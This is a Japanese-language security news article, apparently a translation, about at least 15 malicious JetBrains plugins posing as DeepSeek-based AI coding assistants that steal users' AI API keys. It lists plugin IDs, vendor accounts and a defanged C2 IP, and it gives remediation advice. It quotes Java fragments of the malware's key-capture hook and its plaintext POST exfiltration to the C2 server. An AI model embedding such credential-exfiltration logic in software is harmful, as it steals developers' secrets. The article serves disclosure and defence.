JetBrains Plugin Security Alert: 70,000+ Installs Linked to AI Key Theft
2026/06/17 gbhackers — JetBrains IDE ユーザーを標的とする協調的なサプライチェーン攻撃により、7 万人を超える開発者が、認証情報窃取のリスクにさらされていた。このキャンペーンに関与していたのは、DeepSeek などのモデルを基盤とする AI 搭載コーディング・アシスタントを装い、JetBrains Marketplace 経由で配布された少なくとも 15 件の悪意あるプラグインである。

これらのプラグインは、コードレビュー/チャット/コミットメッセージ生成といった機能を提供するとし、実際にそのとおりに動作するが、その一方でユーザーが入力した機密性の高い API キーを密かに流出させていた。そのため、開発者エコシステムと IDE エクステンションにおけるセキュリティと信頼に、深刻な懸念が生じている。
JetBrains プラグインのセキュリティ警告
それらの悪意のプラグインは、7 つのベンダー・アカウントから公開されており、2025年10月から活動していた。また、新たな亜種が 2026年6月に出現している。
Aikido Security が公開した調査結果によると、JetBrains の手動レビュー・プロセスにもかかわらず、攻撃者は正規に見える機能の中に、ステルス性の高いデータ流出ロジックを埋め込むことに成功していた。
主な標的は、OpenAI/DeepSeek/SiliconFlow などの AI プロバイダーの API キーである。これらの価値の高い認証情報には、計算リソースの取得での悪用や、地下市場での転売といった可能性がある。
技術分析によると、ユーザーがプラグイン設定内に API キーを保存した直後に、流出メカニズムが起動する。この悪意のロジックは、標準的なコンフィグ・ハンドラに埋め込まれているため検出が難しい。
public static void save(String key) { if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) { SoftwareDto dto = new SoftwareDto(); dto.setApiKey(key); BaseUtil.request("key", dto); }}```
盗まれたキーは、ハードコードされた C2 サーバのアドレスに対して、暗号化されていない HTTP リクエストで送信される。
URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();connection.setRequestMethod("POST");connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");```
注目すべき点として、このインフラは平文送信と静的な認証トークンを使用しており、運用上のセキュリティは低い。しかし、ユーザーの信頼を悪用しているため、高い効果を発揮していた。
さらに、一部のプラグインは有料ティア・モデルを実装しており、ユーザーは攻撃者のサーバから代替 API キーを受け取る状況にある。研究者たちは、これらのキーが以前に盗まれた認証情報を再利用したものである可能性を疑っている。つまり、この活動が事実上、認証情報の再販サービスになっていると見ている。
このキャンペーンは、開発者環境を標的にする傾向が、攻撃者たちの間で強まっていることを示している。IDE は、ソースコード/認証情報/クラウド・アクセス・トークンを含む集中ハブとして機能する。したがって、一連のプラグインは高い権限を持ち、サンドボックス化も限定的であるため、ステルス性の高いデータ窃取の理想的なベクターとなる。
VS Code に影響を及ぼした “GlassWorm” キャンペーンなどの、類似のサプライチェーン攻撃は、この脅威カテゴリが急速に拡大していることを示している。
侵害インジケータ (IoC)
ネットワーク IoC
| タイプ | インジケータ | 説明 |
|---|---|---|
| IP | 39.107.60[.]51 | C2/流出エンドポイント IP |
悪意の JetBrains プラグイン
| プラグイン名 | プラグイン ID | 概算インストール数 | 初確認日 (リリース日) |
|---|---|---|---|
| DeepSeek Junit Test | org.sm.yms.toolkit | 1,121 | 2025-10-31 |
| DeepSeek Git Commit | com.json.simple.kit | 1,894 | 2025-11-01 |
| DeepSeek FindBugs | org.bug.find.tools | 1,485 | 2025-11-09 |
| DeepSeek AI Chat | org.translate.ai.simple | 1,317 | 2025-11-23 |
| DeepSeek Dev AI | com.yy.test.ai.simple | 740 | 2025-11-30 |
| DeepSeek AI Coding | com.dev.ai.toolkit | 450 | 2025-12-06 |
| AI FindBugs | com.json.view.simple | 623 | 2025-12-14 |
| AI Git Commitor | com.my.git.ai.kit | 301 | 2026-01-10 |
| AI Coder Review | org.check.ai.ds | 735 | 2026-01-11 |
| DeepSeek Coder AI | com.review.tool.code | 3,498 | 2026-01-15 |
| AI Coder Assistant | org.code.assist.dev.tool | 319 | 2026-02-01 |
| DeepSeek Code Review | com.coder.ai.dpt | 278 | 2026-04-18 |
| CodeGPT AI Assistant | com.my.code.tools | 25,571 | 2026-06-09 |
| DeepSeek AI Assist | ord.cp.code.ai.kit | 27,727 | 2026-06-10 |
| Coding Simple Tool | com.dp.git.ai.tool | 3,931 | N/A (オンライン・バージョンなし) |
悪意あるベンダー・アカウント
| ベンダー表示名 | ベンダー ID/ハンドル |
|---|---|
| CodePilot | mycode |
| StackSmith | misshewei |
| CodeCrafter | keteme |
| CodeWeaver | simpledev |
| JetCode | skyblue |
| DailyCode | dialycode |
| ZenCoder | 947cb4c8-5db1-4cf0-8182-0aae7c433bb3 |
注記:IP アドレスおよびドメインは、意図しない名前解決やハイパーリンク化を防ぐため、意図的に無害化 (例:[.] ) されている。再有効化 (re-fang) は、MISP/VirusTotal/SIEM などの管理された脅威インテリジェンス・プラットフォーム内でのみ実施すること。
セキュリティ専門家たちが推奨するのは、影響を受けるプラグインの即時の削除と、露出した API キーのローテーション、異常な API 利用の監視である。さらに、ユーザー組織は、プラグイン・インストールに関する厳格な制御を導入し、Software Composition Analysis (SCA) やランタイム保護などのツールを活用して、同様の脅威を早期に検出すべきである。
訳者後書:この問題の背景にあるのは、開発環境を便利にするはずの公式マーケットプレイスに、正規のAI支援ツールを装った悪意ある部品が審査をすり抜けて紛れ込んでいたという現実です。このインシデントによる影響として、利用者が設定に登録した生成 AI サービスの秘密鍵が、外部の管理サーバへ暗号化されずに盗み出され、計算資源の不正利用や転売に悪用される危険性が生じてしまいました。対抗策としては、該当する拡張機能を即座に排除するとともに、流出した恐れのある鍵情報を新しいものへ変更し、導入するツールの信頼性を組織内で事前に精査する仕組みを整えることです。ご利用のチームは、ご注意ください。よろしければ、JetBrains での検索結果も、ご参照ください。
You must be logged in to post a comment.